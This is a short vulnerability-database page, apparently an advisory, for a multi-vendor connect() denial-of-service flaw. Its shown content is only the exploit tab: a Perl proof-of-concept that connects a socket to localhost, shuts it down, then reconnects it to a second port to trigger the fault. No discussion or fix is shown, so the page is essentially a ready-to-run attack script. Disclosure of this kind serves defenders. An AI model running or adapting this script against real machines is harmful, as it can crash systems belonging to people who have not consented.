Multiple Vendor connect() Denial of Service Vulnerability

info
discussion
exploit
solution
references

Multiple Vendor connect() Denial of Service Vulnerability

#!/usr/local/bin/perl5
use Socket;

socket (SOCK,AF_INET,SOCK_STREAM,0);
$iaddr = inet_aton('localhost');
$paddr = sockaddr_in('23',$iaddr);
connect SOCK,$paddr;
shutdown SOCK,2;
$paddr = sockaddr_in('24',$iaddr);
connect SOCK,$paddr;